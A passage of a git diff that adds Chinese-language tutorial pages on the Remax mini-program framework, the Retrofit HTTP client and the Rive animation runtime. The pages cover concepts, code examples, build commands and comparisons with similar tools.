`REMAX_TPL_view`、`REMAX_TPL_text` 等模板递归展开子节点。微信模板不支持真递归,因此会为微信生成约 **20 层**嵌套模板调用——这是平台限制下的工程折中。 + +### 3. 平台包:`remax/wechat`、`remax/ali`、`remax/toutiao` + +组件与 API 按端分包导入,避免把微信专用能力打进支付宝包: + +| 导入路径 | 用途 | +|----------|------| +| `remax/wechat` | 微信 / QQ 小程序 `View`、`navigateTo`、`request` 等 | +| `remax/ali` | 支付宝、钉钉、淘宝等阿里系 | +| `remax/toutiao` | 字节跳动小程序 | +| `remax` | 跨端 Hooks(如 `usePageEvent`)与运行时工具 | + +事件名贴近小程序习惯:微信侧常用 `onTap`,阿里侧常用 `onClick`,写多端时要读各端文档或做封装层。 + +### 4. 应用与页面都是 React 组件 + +- **`src/app.js`**:默认导出的 `App` 组件;必须 `render` 出 `props.children`;可用 `componentDidMount`(对应 `onLaunch`)、`onShow` 等应用生命周期 +- **`src/app.config.js`**:对应原生 `app.json`(`pages`、`window` 等);多端时可 `module.exports = { wechat: {...}, ali: {...} }` +- **页面**:`src/pages/foo/index.js` 默认导出页面组件;配置在同级 `index.config.js` +- **页面参数**:通过 `props.location.query` 传入(函数组件),等价于小程序 `onLoad` 的 query + +官方建议用 **React Context** 做全局状态,而不是小程序的 `getApp()`——Remax 的 `App` 实例与原生 `getApp` 不是同一对象。 + +### 5. 生命周期 Hooks + +函数组件可用: + +- `usePageEvent('onShow', fn)` / `usePageEvent('onLoad', fn)` — 页面级;**子组件里也能注册**(与 class 仅限页面不同) +- `useAppEvent('onLaunch', fn)` — 应用级 +- `useShow(fn)` — 简化版页面 `onShow` + +类组件页面则直接在 class 上定义 `onShow`、`componentDidMount`(触发时机对齐 `onLoad`)。 + +### 6. 编译链:页面入口与资源生成 + +`remax-cli` 在 Webpack 构建中: + +1. 为每个页面注入 `createPageConfig`,把 React 组件挂到自定义 `Container` +2. 调用原生 `Page()` 注册小程序页面 +3. 插件生成对应 `wxml`/`axml`、样式与 `usingComponents` 依赖图 +4. 普通 React 组件可编译为**小程序自定义组件** + +## 示例一:应用入口 + 首页(支付宝端) + +```jsx +// src/app.js +import * as React from 'react'; +import { useAppEvent } from 'remax'; +import './app.css'; + +export default function App({ children }) { + useAppEvent('onLaunch', () => { + console.log('Remax app launched'); + }); + + return children; +} +``` + +```js +// src/app.config.js +module.exports = { + pages: ['pages/index/index'], + window: { + defaultTitle: 'Remax Demo', + }, +}; +``` + +```jsx +// src/pages/index/index.js +import * as React from 'react'; +import { View, Text, Button, navigateTo } from 'remax/ali'; +import { usePageEvent } from 'remax'; +import './index.css'; + +export default function IndexPage(props) { + const [count, setCount] = React.useState(0); + + usePageEvent('onShow', () => { + console.log('index onShow', props.location?.query); + }); + + return ( + + 你好,Remax + 计数:{count} + + + + ); +} +``` + +要点:`App` 只包一层 `children`;页面即普通函数组件;`useState` 与 Web React 相同;导航走 `remax/ali` 的 `navigateTo`;样式用独立 `.css` 文件按页引入。 + +## 示例二:微信端列表请求 + 下拉刷新 + +```js +// src/pages/list/index.config.js +module.exports = { + navigationBarTitleText: '商品列表', + enablePullDownRefresh: true, +}; +``` + +```jsx +// src/pages/list/index.js +import * as React from 'react'; +import { View, Text, Image, request, stopPullDownRefresh } from 'remax/wechat'; +import { usePageEvent } from 'remax'; + +export default function ListPage() { + const [items, setItems] = React.useState([]); + const [loading, setLoading] = React.useState(false); + + const load = React.useCallback(async () => { + setLoading(true); + try { + const res = await request({ + url: 'https://api.example.com/items', + method: 'GET', + }); + setItems(res.data?.list ?? []); + } finally { + setLoading(false); + stopPullDownRefresh(); + } + }, []); + + usePageEvent('onLoad', load); + usePageEvent('onPullDownRefresh', load); + + return ( + + {items.map((item) => ( + + + {item.title} + + ))} + {loading && 加载中…} + + ); +} +``` + +`remax/wechat` 导出的 API 多数已 **Promise 化**(`request().then(...)`),与微信回调风格并存;页面配置写在 `index.config.js`,构建时生成 `index.json`。 + +## 项目结构 + +``` +my-app/ +├── package.json +├── remax.config.js # 可选:Webpack 钩子、插件 +├── public/ # 静态资源 +├── dist/ # 编译产物,用各端开发者工具打开 +└── src/ + ├── app.js + ├── app.css + ├── app.config.js + └── pages/ + └── index/ + ├── index.js + ├── index.css + └── index.config.js +``` + +| 命令 | 作用 | +|------|------| +| `npm run dev` | 监听编译到 `dist/` | +| `npm run dev wechat` | 跨平台仓库指定微信端 | +| `npm run build` | 生产构建 | + +## 跨平台实践 + +官方推荐的跨端路径偏**务实**: + +1. 先在一端用 Remax 跑通业务 +2. 另一端新建项目对照差异,而不是一开始就「一套代码打天下」 +3. 把差异收敛到 `@/components`、`@/api`、`@/hooks` 封装层;页面保持纯业务 JSX + +`app.config.js` / `page.config.js` 可导出 `{ wechat, ali, toutiao }` 对象,CLI 按构建目标选取配置。 + +## 与相关技术的关系 + +| 技术 | 关系 | +|------|------| +| React | Remax 是渲染目标之一,不修改 React 语义;可复用多数纯逻辑 Hook 与组件 | +| Taro 3+ | 同为运行时 React;Taro 维护更活跃、端更多(含 H5/RN) | +| kbone | 仿 DOM 通用层,框架无关;Remax 仅 React,链路更短 | +| Rax 小程序 | 阿里系另一路线,含编译时与运行时混合;Remax 更「纯 React」 | +| 微信原生 | 最终仍受 `setData` 性能与包体积约束;复杂原生能力需直接调 `wx.*` | + +## 性能与限制 + +- **setData 瓶颈**:VNode diff 后再 setData,比整树盲传好,但高频大对象更新仍会卡;列表要虚拟化、分页,避免一次绑定上千节点 +- **模板深度**:微信 20 层模板嵌套限制极深组件树;过深嵌套需扁平化结构 +- **包体积**:运行时 + React reconciler 有固定开销,比纯原生或纯编译方案更大 +- **仓库归档**:安全补丁与新端适配需自行评估;生产新项目建议对比 Taro / 原生 + +## 常见问题 + +**能用 Redux / MobX 吗?** 可以,它们是 React 生态;注意持久化用各端 `storage` API,不要依赖 `localStorage`。 + +**能用 React Router 吗?** 小程序路由由 `app.config` 的 `pages` 声明,页面跳转走 `navigateTo` 等;SPA 式路由需自行封装,不如 H5 自由。 + +**`usePageEvent` 在子组件里会重复触发?** 历史版本有过 bug(同路由跳转、子组件 setState 导致父级不触发等),升级 `remax` 小版本并避免在 `onShow` 里做过多同步状态连锁更新。 + +**样式方案**:支持 CSS、Less、Sass;无完整浏览器 CSS 支持,flex 布局最稳;类名用 `className` 传到小程序 `class`。 + +## 小结 + +Remax 的核心贡献是证明:**不必牺牲 React 运行时,也能在微信/支付宝等小程序里开发**。实现上 = `react-reconciler` + VNode + 构建期通用模板 + `setData`。零基础学习路径:用 `create-remax-app` 跑通单页 → 分清 `remax/平台` 组件与 API → 用 `usePageEvent` 接生命周期 → 读一眼 VNode/模板原理理解性能边界 → 若做新项目,再与 Taro 等维护中方案对比选型。即使 Remax 不再演进,这套「自定义 React 渲染器」知识对 React Native、Canvas、终端 UI 同样适用。 diff --git a/src/content/docs/projects/retrofit.md b/src/content/docs/projects/retrofit.md new file mode 100644 index 000000000..9831be3a7 --- /dev/null +++ b/src/content/docs/projects/retrofit.md @@ -0,0 +1,282 @@ +--- +title: Retrofit — 把 HTTP API 变成 Java/Kotlin 接口的类型安全客户端 +来源: 'https://github.com/square/retrofit' +日期: 2026-06-13 +子分类: 移动端 +分类: 后端 API +难度: 初级 +provenance: pipeline-v3 +--- + +## 是什么 + +Retrofit 是 Square 出品的**类型安全 HTTP 客户端**,面向 Android 和 JVM。日常类比:像餐厅里的**点菜单 + 传菜员**——你在菜单(interface)上勾选菜名和口味(注解描述 URL、参数、请求体),厨房按单做菜;你不需要自己跑后厨、拼 URL、手写 JSON 解析,传菜员(Retrofit 生成的实现类)把成品端到你面前(Kotlin/Java 对象)。 + +你写: + +```kotlin +interface GitHubService { + @GET("users/{user}/repos") + suspend fun listRepos(@Path("user") user: String): List +} +``` + +Retrofit 在运行时生成 `GitHubService` 的实现:把 `@GET` 拼成完整 URL、用 OkHttp 发请求、用 Converter 把 JSON 转成 `List`。业务层只看到**普通接口方法调用**,看不到 socket、字节流和解析细节。 + +2010 年 Jake Wharton 在 Square 开源,和 OkHttp 组成 Android 网络栈事实标准;GitHub 上 4.3 万+ star,Maven 坐标 `com.squareup.retrofit2:retrofit`,2025 年 5 月发布 **3.0.0**(要求 Java 8+ 或 Android API 21+)。 + +## 为什么重要 + +不理解 Retrofit,下面这些事都没法解释: + +- 为什么 Android 教程里 `interface ApiService` + `@GET` 就能调 REST,却找不到实现类源码 +- 为什么换 Gson 成 Moshi 往往只改 `addConverterFactory` 一行,业务 interface 不动 +- 为什么 Kotlin `suspend` 函数可以直接 `api.getUser()`,底层仍是 OkHttp 异步 +- 为什么很多团队把「网络层」和「业务层」边界画在 Retrofit interface 上——它是契约,不是工具函数堆 + +## 核心要点 + +Retrofit 的运转可以拆成 **五块**: + +1. **声明式接口(API 契约)**:每个 HTTP 端点对应 interface 里一个方法;`@GET` / `@POST` / `@PUT` / `@PATCH` / `@DELETE` / `@HEAD` / `@OPTIONS` 或自定义 `@HTTP` 指定方法与相对路径。路径占位用 `@Path("{name}")`,查询串用 `@Query`,请求体用 `@Body`,动态 Header 用 `@Header`。类比:菜单上每道菜一行,括号里写辣度、加料选项。 + +2. **Retrofit.Builder 组装运行时**:`baseUrl`(必须以 `/` 结尾)、`addConverterFactory`(JSON ↔ 对象)、可选 `client(OkHttpClient)`(超时、拦截器、证书)。`retrofit.create(MyApi::class.java)` 用动态代理生成实现。类比:餐厅加盟手册——定总部地址、定厨师(转换器)、定配送车(OkHttp)。 + +3. **Call 与协程两种返回风格**: + - Java 风格:`Call`,`.execute()` 同步阻塞,`.enqueue(Callback)` 异步回调。 + - Kotlin 风格:`suspend fun ...(): T` 或 `Response`,编译器挂起,非 2xx 抛 `HttpException`。 + 本质都是「描述一次尚未发出的 HTTP 请求」,真正 IO 在 OkHttp 线程池。 + +4. **Converter 负责序列化边界**:默认只认识 `RequestBody` / `ResponseBody`。加 `converter-gson`、`converter-moshi`、`converter-kotlinx-serialization` 等 sibling 模块后,`@Body User` 和 `User` 返回值才能自动 JSON 化。`Converter.Factory` 可自定义 YAML、Protobuf 等格式。 + +5. **底层是 OkHttp**:Retrofit 不自己建连接;所有 TLS、连接池、重试、拦截器都走 `OkHttpClient`。统一加 Token、打日志、Mock 响应,在 OkHttp `Interceptor` 里做,Retrofit interface 保持干净。 + +## 依赖与最小配置 + +Gradle(Kotlin DSL)常见写法: + +```kotlin +dependencies { + implementation("com.squareup.retrofit2:retrofit:3.0.0") + implementation("com.squareup.retrofit2:converter-moshi:3.0.0") + implementation("com.squareup.okhttp3:okhttp:4.12.0") + implementation("com.squareup.okhttp3:logging-interceptor:4.12.0") +} +``` + +Moshi 需要 `kapt` 或 KSP 生成 adapter;若用 Gson 则换 `converter-gson`。R8 混淆时 Retrofit 自带 ProGuard 规则;纯 ProGuard 需手动合并 `retrofit2.pro` 和 OkHttp 规则。 + +## 实践案例 + +### 案例 1:Kotlin + suspend + Moshi 完整起步 + +```kotlin +import com.squareup.moshi.Moshi +import com.squareup.moshi.kotlin.reflect.KotlinJsonAdapterFactory +import retrofit2.Retrofit +import retrofit2.converter.moshi.MoshiConverterFactory +import retrofit2.http.GET +import retrofit2.http.Path + +data class Repo(val id: Long, val name: String, val full_name: String) + +interface GitHubService { + @GET("users/{user}/repos") + suspend fun listRepos(@Path("user") user: String): List +} + +fun main() { + val moshi = Moshi.Builder() + .add(KotlinJsonAdapterFactory()) + .build() + + val retrofit = Retrofit.Builder() + .baseUrl("https://api.github.com/") + .addConverterFactory(MoshiConverterFactory.create(moshi)) + .build() + + val api = retrofit.create(GitHubService::class.java) + + // 在协程作用域内调用 + // val repos = api.listRepos("square") +} +``` + +要点:`baseUrl` 末尾的 `/` 不能漏;`@GET("users/{user}/repos")` 是相对路径,会和 base 拼接。`suspend` 方法在非协程上下文不能直接调——Android 里用 `lifecycleScope.launch`,JVM 脚本用 `runBlocking`。 + +### 案例 2:POST + @Body + OkHttp 拦截器统一鉴权 + +```kotlin +import okhttp3.Interceptor +import okhttp3.OkHttpClient +import okhttp3.logging.HttpLoggingInterceptor +import retrofit2.http.Body +import retrofit2.http.POST +import java.util.concurrent.TimeUnit + +data class LoginRequest(val email: String, val password: String) +data class TokenResponse(val access_token: String, val expires_in: Long) + +interface AuthApi { + @POST("v1/auth/login") + suspend fun login(@Body body: LoginRequest): TokenResponse +} + +fun buildApi(tokenProvider: () -> String?): AuthApi { + val authInterceptor = Interceptor { chain -> + val original = chain.request() + val token = tokenProvider() + val request = if (token != null) { + original.newBuilder() + .header("Authorization", "Bearer $token") + .build() + } else original + chain.proceed(request) + } + + val logging = HttpLoggingInterceptor().apply { + level = HttpLoggingInterceptor.Level.BODY + } + + val client = OkHttpClient.Builder() + .connectTimeout(15, TimeUnit.SECONDS) + .readTimeout(30, TimeUnit.SECONDS) + .addInterceptor(authInterceptor) + .addInterceptor(logging) + .build() + + return Retrofit.Builder() + .baseUrl("https://api.example.com/") + .client(client) + .addConverterFactory(MoshiConverterFactory.create()) + .build() + .create(AuthApi::class.java) +} +``` + +登录接口用 `@Body` 发 JSON;登录成功后把 token 存起来,`tokenProvider` 给后续请求自动带 `Authorization`。网络横切关注点放在 OkHttp 拦截器,Retrofit interface 只描述 REST 形状。 + +### 案例 3:Java 回调风格(遗留代码常见) + +```java +public interface LegacyApi { + @GET("status") + Call health(); +} + +Retrofit retrofit = new Retrofit.Builder() + .baseUrl("https://api.example.com/") + .addConverterFactory(GsonConverterFactory.create()) + .build(); + +LegacyApi api = retrofit.create(LegacyApi.class); + +api.health().enqueue(new Callback() { + @Override + public void onResponse(Call call, Response response) { + if (response.isSuccessful()) { + Health body = response.body(); + // 使用 body + } + } + + @Override + public void onFailure(Call call, Throwable t) { + // 网络层失败 + } +}); +``` + +新 Kotlin 项目优先 `suspend`;维护老 Android 模块时仍会见到 `Call` + `enqueue`。`Response` 包装 HTTP 状态码和 header,适合需要读 `code()` 而不是直接抛异常的场景。 + +## 常用注解速查 + +| 注解 | 作用 | +|------|------| +| `@GET` / `@POST` / … | HTTP 方法与相对路径 | +| `@Url` | 动态完整 URL(覆盖 baseUrl 路径部分) | +| `@Path("id")` | 替换路径中的 `{id}` | +| `@Query` / `@QueryMap` | URL 查询参数 | +| `@Header` / `@Headers` | 请求头(动态 / 静态) | +| `@Body` | JSON 或已转换的请求体 | +| `@Field` + `@FormUrlEncoded` | `application/x-www-form-urlencoded` | +| `@Part` + `@Multipart` | 文件上传 multipart | +| `@Streaming` | 大文件流式读 ResponseBody,避免整包进内存 | + +## 踩过的坑 + +1. **`baseUrl` 必须以 `/` 结尾**:`https://api.example.com` 会报错或拼错路径;正确是 `https://api.example.com/`。 + +2. **interface 方法不能在 Android 主线程 `.execute()`**:同步调用会 NetworkOnMainThreadException;用 `enqueue` 或 `suspend`。 + +3. **Converter 顺序有优先级**:`addConverterFactory` 先注册的先尝试;Scalars 工厂放太前会把一切当 String,导致 Gson 永远轮不到。 + +4. **`@Url` 传相对路径时的拼接规则**:若 `@Url` 以 `/` 开头,会替换 baseUrl 的 path 部分;全 URL 则忽略 base 的 path。调试时看 OkHttp logging 最直观。 + +5. **数据类字段名与 JSON 不一致**:Moshi/Gson 要靠 `@Json(name = "...")` 或命名策略;否则静默得到 `null` 字段。 + +6. **把 Retrofit 实例到处 new**:应单例 `Retrofit` + 单例 `OkHttpClient`,否则连接池不复用,TLS 握手浪费严重。 + +## 适用 vs 不适用场景 + +**适用**: + +- Android / JVM 调 REST JSON API(移动 App、桌面工具、后端集成第三方) +- 团队希望「API 契约」用 interface 集中管理,方便 Mock 和单元测试 +- 已与 OkHttp 生态深度绑定(Certificate Pinning、Chucker 调试、缓存) +- 多端共享同一套 API 描述(配合 Kotlin Multiplatform 时常见 Moshi + Retrofit) + +**不适用**: + +- 纯浏览器前端 → 用 fetch / axios / ky +- Node.js 服务 → 用 undici、got、原生 fetch +- gRPC / WebSocket 长连接为主 → Retrofit 不是这档子工具(可看 OkHttp WebSocket 或其他 SDK) +- 极简脚本只打一两个 GET → `curl` 或一行 HttpClient 更轻 + +## 与 OkHttp、axios 的对比 + +| 维度 | Retrofit | OkHttp | axios | +|------|----------|--------|-------| +| 定位 | REST 接口生成器 | 底层 HTTP 引擎 | 高层 HTTP 客户端 | +| API 风格 | 注解 interface | Request/Response 对象 | config + Promise | +| 平台 | JVM / Android | JVM / Android | 浏览器 + Node | +| JSON | 靠 Converter 插件 | 手写或配合 Retrofit | 内置 transform | + +Retrofit **离不开** OkHttp;axios 在概念上接近「Retrofit + Gson + 拦截器」打包给 JS 世界,但没有「interface 动态代理」这一层。 + +## 历史小故事(可跳过) + +- **2010-09**:Square 开源 Retrofit,解决 Android 上 HttpURLConnection 难用、回调地狱问题 +- **2013-2015**:与 OkHttp 2/3 深度整合,注解驱动 API 成为 Android 社区默认教科书写法 +- **2017**:Kotlin 普及后,`Call` 逐渐让位给 `suspend` 扩展(Retrofit 2.6+ 内建支持,无需 Rx 适配器) +- **2020s**:Ktor Client、Apollo GraphQL 在部分场景分流,但 REST + Retrofit 仍是面试高频 +- **2025-05**:Retrofit **3.0.0** 发布,延续 `com.squareup.retrofit2` 坐标,与新版 Kotlin / OkHttp 对齐 + +## 学到什么 + +1. **把协议声明成类型,比封装工具函数更可持续**——interface 即文档,编译期就能发现签名漂移 +2. **分层:Retrofit 管契约,OkHttp 管传输,Converter 管格式**——换 JSON 库不动 URL 定义 +3. **动态代理是 JVM 的隐藏大招**——`create()` 背后没有手写实现类,却类型安全 +4. **平台库的生命周期极长**——十四年仍在发 major,说明「声明式 + 可组合」比一次性全能 SDK 更耐演进 + +## 延伸阅读 + +- 官方文档:[square.github.io/retrofit](https://square.github.io/retrofit/) +- 声明式注解详解:[Declarations](https://square.github.io/retrofit/declarations/) +- 配置与 Converter:[Configuration](https://square.github.io/retrofit/configuration/) +- 源码入口:[Retrofit.java](https://github.com/square/retrofit/blob/trunk/retrofit/src/main/java/retrofit2/Retrofit.java) +- [[okhttp]] —— Retrofit 默认搭载的 HTTP 引擎 +- [[moshi]] —— Square 出品的 JSON 库,与 Retrofit 常配对 + +## 关联 + +- [[okhttp]] —— 连接池、TLS、拦截器、超时;Retrofit 的运输层 +- [[moshi]] —— Kotlin 友好的 JSON 适配,常作 Retrofit Converter +- [[gson]] —— 老项目最常见的 Retrofit JSON 后端 +- [[kotlin-coroutines]] —— `suspend` API 的并发模型 +- [[axios]] —— Web 端地位类似的 HTTP 客户端(无 interface 代理) +- [[ktor]] —— Kotlin 原生多平台 HTTP 客户端,KMP 场景的替代路线 + +## 反向链接 + + diff --git a/src/content/docs/projects/rive.md b/src/content/docs/projects/rive.md new file mode 100644 index 000000000..915492d92 --- /dev/null +++ b/src/content/docs/projects/rive.md @@ -0,0 +1,322 @@ +--- +title: Rive — 交互动画运行时 +来源: https://github.com/rive-app/rive-runtime +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 初级 +--- + +## 日常类比:Rive Runtime 是「可编程的皮影戏放映机」 + +在 Rive 编辑器里,设计师像搭皮影:角色、按钮、图标是**画板(Artboard)**,走路、悬停、点击是**状态机剧本**,导出后得到一个 `.riv` 文件——相当于把整套皮影和机关装进一只木箱。 + +**Rive Runtime**(本仓库核心是 C++ 的 [rive-runtime](https://github.com/rive-app/rive-runtime))就是各平台上的**放映机 + 提线师**:读 `.riv`,每帧根据用户点击、滑动或你代码里设的开关,决定播哪段动画、怎么混合过渡,再用矢量渲染器画到屏幕。和「导出成 GIF / 视频」不同,动画仍是**实时矢量**,可响应输入、可改参数、体积极小。 + +| 维度 | 数据 | +|------|------| +| 核心 Runtime | [rive-app/rive-runtime](https://github.com/rive-app/rive-runtime)(C++,MIT) | +| Web 封装 | [@rive-app/canvas](https://github.com/rive-app/rive-wasm)、[@rive-app/react-canvas](https://github.com/rive-app/rive-react) | +| 官方文档 | [Rive Runtimes](https://rive.app/docs/runtimes/getting-started) | +| 文件格式 | `.riv`(二进制,编辑器导出) | +| 渲染后端 | Metal、Vulkan、D3D11/12、OpenGL/WebGL、WebGPU | +| 平台 | Web、iOS、Android、Flutter、Unity、Unreal、React Native 等 | + +--- + +## 是什么 + +[Rive](https://rive.app) 是一条**端到端**流水线:编辑器里做矢量交互动画 → 导出 `.riv` → 各语言 Runtime 加载播放。`rive-runtime` 是底层 C++ 库,负责: + +- 解析 `.riv`,构建 **Artboard**(场景图:形状、骨骼、嵌套画板等) +- 驱动 **线性动画(Linear Animation)** 或 **状态机(State Machine)** +- 通过抽象 **Renderer** 接口,把矢量路径交给 GPU 渲染器(PLS 路径渲染) + +上层还有 `rive-wasm`(Web)、`rive-react`、`rive-flutter` 等,本质都是对同一套 C++ 核心的绑定。设计师在编辑器里连好的「悬停变亮、按下弹跳」,Runtime 里用**状态机输入**接住,不必在代码里逐帧 K 帧。 + +工作流三段: + +1. **Rive Editor** — 画矢量、绑状态机、设输入(Bool / Number / Trigger)、布局 +2. **导出 `.riv`** — 单文件打包资源与逻辑 +3. **Runtime 循环** — `load → advance → apply → draw`,可选监听指针与状态变化 + +--- + +## 为什么重要 + +不懂 Rive Runtime,下面几件事很难讲清楚: + +- 为什么同一个加载按钮动画能同时跑在 React 官网、Flutter App 和游戏里——**`.riv` 格式统一**,只差各平台 Renderer 胶水 +- 为什么交互动画不必写成几百行 GSAP——**状态机在编辑器里可视化连线**,代码只改几个输入值 +- 为什么矢量动画在 4K 屏上不糊——每帧 GPU 重绘路径,不是放大位图 +- 为什么 Lottie 常做「播完即走」,Rive 更偏「长期挂在 UI 里响应用户」——状态机 + 命中测试是为一等公民设计的 + +和 [GSAP](/docs/projects/gsap)(命令式补间)、[Spine Runtimes](/docs/projects/spine-runtimes)(游戏骨骼 2D)相比,Rive 更强调**设计工具与 Runtime 行为一致**:编辑器里预览的交互,就是线上跑的交互。 + +--- + +## 核心概念 + +### 1. File 与 Artboard — 文件与画板 + +`.riv` 加载后得到 `File` 对象,内含一个或多个 **Artboard**(类似 Figma 的一页画板)。Runtime 区分: + +- **源 Artboard(source)** — 只读蓝图,不能直接动画 +- **ArtboardInstance** — 通过 `artboard->instance()` 克隆出的可动画实例 + +类比:源画板是印刷模版,实例是你舞台上真正在动的那一个;多个按钮可以 `instance()` 同一份数据,各自独立状态。 + +### 2. Scene:统一的播放接口 + +无论是线性动画还是状态机,运行时都通过 **`Scene`** 抽象统一接口,典型每帧调用: + +``` +scene->advance(deltaSeconds); +scene->apply(); // 或由 advanceAndApply 合并 +artboard->draw(renderer); +``` + +`LinearAnimationInstance` 与 `StateMachineInstance` 都继承 `Scene`,所以游戏主循环可以同一套写法切换模式。 + +### 3. Linear Animation — 时间轴动画 + +**LinearAnimation** 是数据:帧率、时长、循环模式、关键帧表。 +**LinearAnimationInstance** 是播放状态:当前时间、方向、是否播完。 + +适合片头、一次性过渡、不需要复杂分支的场景。代码里指定动画名即可 `play('idle')`。 + +### 4. State Machine — 交互动画的大脑 + +**State Machine** 是 Rive 交互的核心(多数 UI 图标、按钮用这个): + +- **State(状态)** — 每个状态绑定一段或多段动画 +- **Transition(过渡)** — 条件满足时混合切换到下一状态 +- **Input(输入)** — 代码与设计的桥梁,三种类型: + - **Boolean** — `input.value = true/false`(如 `isHover`) + - **Number** — `input.value = 0.5`(如进度、音量) + - **Trigger** — `input.fire()` 一次性脉冲(如 `onClick`) +- **Listener** — 编辑器里配置的点击/拖拽区域,Runtime 做命中测试后触发过渡 + +每帧 `StateMachineInstance::advanceAndApply(dt)` 会:评估过渡条件 → 混合进出状态动画 → 更新画板属性。 + +### 5. Renderer — 与引擎无关的绘制 API + +C++ 层 `Renderer` 是纯虚接口:`drawPath`、`drawImage`、`clipPath` 等。 +生产环境默认 **RiveRenderer + RenderContext**(PLS 矢量 GPU 路径),支持 Metal / Vulkan / D3D / WebGL / WebGPU。 +你也可以实现自定义 `Renderer` 接到 Skia、引擎自有 2D 管线(高级集成)。 + +### 6. 平台 Runtime 分层 + +``` +Rive Editor → .riv + ↓ +rive-runtime (C++) ← 解析、动画求解、Renderer 抽象 + ↓ +rive-wasm / rive-ios / rive-android / rive-flutter … + ↓ +@rive-app/react-canvas、游戏引擎插件 … +``` + +Web 上 JS 通过 WASM 调 C++;React 的 `useRive` 只是对 WASM Runtime 的薄封装。 + +### 7. Data Binding(ViewModel)— 可选的数据驱动 + +较新版本支持 **ViewModel**:把状态机输入绑定到命名属性,Runtime 可 `autoBind` 或用手动 hook 同步业务数据(如股票数值、表单校验状态),减少逐个 `getNumber('price')` 的胶水代码。 + +### 8. 嵌套画板 Nested Artboard + +一个 Artboard 可嵌入另一个 Artboard 的实例,并驱动其内部状态机。适合「角色手里的道具」「弹窗里的子动画」模块化复用。 + +--- + +## 代码示例一:React — 状态机 + 悬停与点击(Web) + +安装: + +```bash +npm install @rive-app/react-canvas +``` + +典型交互按钮:状态机里有 `isHovered`(Bool)和 `onClick`(Trigger): + +```tsx +import { useRive, useStateMachineInput } from '@rive-app/react-canvas'; + +export function RiveIconButton() { + const { rive, RiveComponent } = useRive({ + src: '/icons/send.riv', + stateMachines: 'ButtonState', + autoplay: true, + }); + + const isHovered = useStateMachineInput(rive, 'ButtonState', 'isHovered'); + const onClick = useStateMachineInput(rive, 'ButtonState', 'onClick'); + + return ( + + ); +} +``` + +要点: + +- `useRive` 返回的 `rive` 在文件加载完成前为 `null`,`useStateMachineInput` 也会是 `null`,赋值前要判断 +- **Bool/Number** 改 `.value`;**Trigger** 调 `.fire()`,没有持久「开/关」 +- `RiveComponent` 必须渲染到 DOM,内部会挂 canvas 并处理高清屏缩放 +- 状态机名称、输入名称必须与编辑器里**完全一致**(区分大小写) + +把业务状态同步进动画(例如提交中 / 成功): + +```tsx +const loading = useStateMachineInput(rive, 'ButtonState', 'loading'); +const success = useStateMachineInput(rive, 'ButtonState', 'success'); + +useEffect(() => { + if (loading) loading.value = isSubmitting; +}, [isSubmitting, loading]); + +useEffect(() => { + if (success) success.value = isSuccess; +}, [isSuccess, success]); +``` + +--- + +## 代码示例二:Vanilla JS — 线性动画与手动控制循环 + +不依赖 React 时,直接用 `@rive-app/canvas`(或旧称 rive-js)。下面展示:**加载文件 → 播线性动画 → 按钮暂停/继续**: + +```javascript +import { Rive, Layout, Fit, Alignment } from '@rive-app/canvas'; + +const canvas = document.getElementById('rive-canvas'); + +const rive = new Rive({ + src: '/animations/mascot.riv', + canvas, + autoplay: true, + animations: 'wave', // 线性动画名;用状态机时改 stateMachines + layout: new Layout({ + fit: Fit.Contain, + alignment: Alignment.Center, + }), + onLoad: () => { + rive.resizeDrawingSurfaceToCanvas(); + }, +}); + +document.getElementById('pause').addEventListener('click', () => { + rive.pause(); +}); + +document.getElementById('play').addEventListener('click', () => { + rive.play('wave'); +}); +``` + +若需要**低层 API**(同一 canvas 多个 artboard、自管 `requestAnimationFrame`),可走 rive-wasm 的底层示例:自己 `load` → `ArtboardInstance` → `advanceAndApply` → `draw`。游戏引擎集成通常在这一层挂钩。 + +监听状态机变化(调试或埋点): + +```javascript +const rive = new Rive({ + src: '/ui/toggle.riv', + canvas, + stateMachines: 'ToggleSM', + autoplay: true, + onStateChange: (event) => { + console.log('entered state:', event.data[0]); + }, +}); +``` + +--- + +## C++ Runtime 视角:最小心智模型 + +读 `rive-runtime` 源码或写原生集成时,记住这条链: + +``` +File::import(rivBytes) + → Artboard* (source) + → artboard->instance() → ArtboardInstance + → stateMachine->instance() → StateMachineInstance (extends Scene) + → each frame: smi->advanceAndApply(dt) + → artboard->draw(renderer) +``` + +`StateMachineInstance` 还处理 `pointerDown/Move/Up`,遍历 `HitComponent` 做命中测试,触发 Listener。异步多线程场景可用 `CommandQueue` / `CommandServer` 把加载与 advance 放到渲染线程(见 runtime 文档 Advanced Topics)。 + +构建 C++ 库(Mac 为主,社区也支持 Windows/Linux): + +```bash +cd rive-runtime +./build.sh # debug +./build.sh release # release +``` + +测试:`cd tests/unit_tests && ./test.sh`。依赖 premake5、较新的 clang(向量 builtins)。 + +--- + +## 与 Lottie / Spine / GSAP 的对比 + +| 维度 | Rive Runtime | Lottie | Spine | GSAP | +|------|--------------|--------|-------|------| +| 源文件 | `.riv` 二进制 | `.json` / `.lottie` | `.json` + 图集 | 无单一资产,代码为主 | +| 交互模型 | 状态机为一等公民 | 有限(bodymovin 表达式) | 动画混合 + 事件 | 完全代码驱动 | +| 渲染 | 内置高性能矢量 GPU | 多依赖 SVG/Canvas 实现 | 引擎贴图网格 | 改 DOM/CSS 属性 | +| 设计工具 | Rive Editor(同厂) | After Effects 插件 | Spine Editor | 无官方视觉状态机 | +| 典型场景 | App UI、可点击图标、游戏 HUD | 轻量展示动画 | 2D 游戏角色 | 营销页、时间轴编排 | + +--- + +## 学习路径(零基础) + +1. 在 [Rive Editor](https://editor.rive.app) 打开官方示例,看 **State Machine** 面板如何连线和命名 Input +2. 读 [Getting Started (Web)](https://rive.app/docs/runtimes/web/web-js) 跑通第一个 canvas +3. React 项目装 `@rive-app/react-canvas`,用 `useRive` + `useStateMachineInput` 做悬停按钮 +4. 需要游戏引擎时查对应 [Runtime Overview](https://rive.app/docs/runtimes/getting-started)(Flutter / Unity / Unreal) +5. 要改底层或贡献代码:clone `rive-runtime`,读 `include/rive/file.hpp`、`state_machine_instance.hpp`、`renderer.hpp` + +--- + +## 常见坑 + +- **动画名 / 状态机名 / 输入名写错** — 静默失败或 Input 一直是 `null`,先在编辑器 Export 预览里核对字符串 +- **忘记等 `onLoad` 或 `rive` 非空** — 过早 `fire()` 或改 `value` 无效 +- **Canvas 尺寸为 0** — 父容器没高度时动画不可见;React 里给 `RiveComponent` 明确 `width/height` 或 flex 布局 +- **Retina 模糊** — Web 需在 resize 后调 `resizeDrawingSurfaceToCanvas()` +- 